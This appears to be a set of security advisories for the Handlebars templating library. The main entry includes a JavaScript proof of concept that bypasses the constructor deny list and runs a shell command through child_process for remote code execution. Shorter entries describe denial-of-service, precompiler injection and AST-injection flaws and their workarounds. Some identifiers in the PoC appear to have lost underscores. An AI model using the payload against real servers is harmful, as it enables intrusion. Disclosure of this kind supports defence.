Summary

Handlebars can expose the Function constructor despite its prototype-access deny list. When a template reaches Function.prototype, its own constructor property is returned before the deny list is checked. An attacker who can render a controlled template with allowProtoMethodsByDefault: true can inject and execute arbitrary JavaScript, leading to Remote Code Execution on the server.

Description

lookupProperty trusts own properties:

js if (Object.prototype.hasOwnProperty.call(parent, propertyName)) { return result; }

Normally, prototype-derived values reach resultIsAllowed, which blocks dangerous method names such as constructor. However, constructor is itself an own property of prototype objects:

js Function.prototype.constructor === Function; String.prototype.constructor === String; Object.prototype.constructor === Object;

As a result, once a template reaches Function.prototype, looking up constructor returns Function without consulting the deny list.

Proof of Concept

An attacker needs to reach any prototype object where constructor is an own property, then access constructor to obtain Function. The shortest path requires only an accessible function in the template context:

1. Access a function's prototype: {{lookup myFunction "proto"}} resolves to Function.prototype. The proto property is not in the deny list and is permitted when allowProtoMethodsByDefault is true (since the result is a function). 2. Access constructor via own property bypass: {{lookup (lookup myFunction "\\proto") "constructor"}} resolves to Function. Because Function.prototype.constructor is an own property of Function.prototype, hasOwnProperty returns true and lookupProperty returns the value without calling resultIsAllowed. The deny list entry constructor: false is never evaluated. 3. Construct and execute arbitrary code: The attacker uses Function to create a function with attacker-controlled body content and triggers its execution through Handlebars' template rendering mechanics (e.g., #with calling functions, lambda processing, or #each iteration combined with apply).

javascript const Handlebars = require('handlebars');

// constructor deny list bypass via hasOwnProperty check in lookupProperty const template = Handlebars.compile( // construct code array from template string literal '{{#with a}}' + '{{lookup "" (push "return process.mainModule.require(\'childprocess\').execSync(\'id\').toString()")}}' + '{{lookup "" (pop)}}' + '{{lookup "" (shift)}}' + '{{/with}}' +

// access Function via own property bypass on Function.prototype.constructor '{{lookup "" (@root.a.push (lookup (lookup fn "proto") "constructor"))}}' +

// #each sets depth0=Function without calling it, apply avoids hash body '{{#each @root}}{{#if @index}}{{else}}' + '{{#with (this.apply null @root.a)}}{{this}}{{/with}}' + '{{/if}}{{/each}}' );

const result = template( { fn: function(){}, a: [0] }, { allowProtoMethodsByDefault: true } );

console.log(result.trim());

// output: uid=1000(node) gid=1000(node) groups=1000(node)

Workarounds

Do not set allowProtoMethodsByDefault: true when compiling untrusted templates with untrusted data.

Handlebars provides the power necessary to let users build semantic templates. In versions 4.0.0 through 4.7.8, when a Handlebars template contains decorator syntax referencing an unregistered decorator (e.g. {{n}}), the compiled template calls lookupProperty(decorators, "n"), which returns undefined. The runtime then immediately invokes the result as a function, causing an unhandled TypeError: ... is not a function that crashes the Node.js process. Any application that compiles user-supplied templates without wrapping the call in a try/catch is vulnerable to a single-request Denial of Service. Version 4.7.9 fixes the issue. Some workarounds are available. Wrap compilation and rendering in try/catch. Validate template input before passing it to compile(); reject templates containing decorator syntax ({{...}}) if decorators are not used in your application. Use the pre-compilation workflow; compile templates at build time and serve only pre-compiled templates; do not call compile() at request time.

Handlebars provides the power necessary to let users build semantic templates. In versions 4.0.0 through 4.7.8, the Handlebars CLI precompiler (bin/handlebars / lib/precompiler.js) concatenates user-controlled strings — template file names and several CLI options — directly into the JavaScript it emits, without any escaping or sanitization. An attacker who can influence template filenames or CLI arguments can inject arbitrary JavaScript that executes when the generated bundle is loaded in Node.js or a browser. Version 4.7.9 fixes the issue. Some workarounds are available. First, validate all CLI inputs before invoking the precompiler. Reject filenames and option values that contain characters with JavaScript string-escaping significance (", ', ;, etc.). Second, use a fixed, trusted namespace string passed via a configuration file rather than command-line arguments in automated pipelines. Third, run the precompiler in a sandboxed environment (container with no write access to sensitive paths) to limit the impact of successful exploitation. Fourth, audit template filenames in any repository or package that is consumed by an automated build pipeline.

Handlebars provides the power necessary to let users build semantic templates. In versions 4.0.0 through 4.7.8, a crafted object placed in the template context can bypass all conditional guards in resolvePartial() and cause invokePartial() to return undefined. The Handlebars runtime then treats the unresolved partial as a source that needs to be compiled, passing the crafted object to env.compile(). Because the object is a valid Handlebars AST containing injected code, the generated JavaScript executes arbitrary commands on the server. The attack requires the adversary to control a value that can be returned by a dynamic partial lookup. Version 4.7.9 fixes the issue. Some workarounds are available. First, use the runtime-only build (require('handlebars/runtime')). Without compile(), the fallback compilation path in invokePartial is unreachable. Second, sanitize context data before rendering: Ensure no value in the context is a non-primitive object that could be passed to a dynamic partial. Third, avoid dynamic partial lookups ({{> (lookup ...)}}) when context data is user-controlled.

Handlebars provides the power necessary to let users build semantic templates. In versions 4.0.0 through 4.7.8, Handlebars.compile() accepts a pre-parsed AST object in addition to a template string. The value field of a NumberLiteral AST node is emitted directly into the generated JavaScript without quoting or sanitization. An attacker who can supply a crafted AST to compile() can therefore inject and execute arbitrary JavaScript, leading to Remote Code Execution on the server. Version 4.7.9 fixes the issue. Some workarounds are available. Validate input type before calling Handlebars.compile(); ensure the argument is always a string, never a plain object or JSON-deserialized value. Use the Handlebars runtime-only build (handlebars/runtime) on the server if templates are pre-compiled at build time; compile() will be unavailable.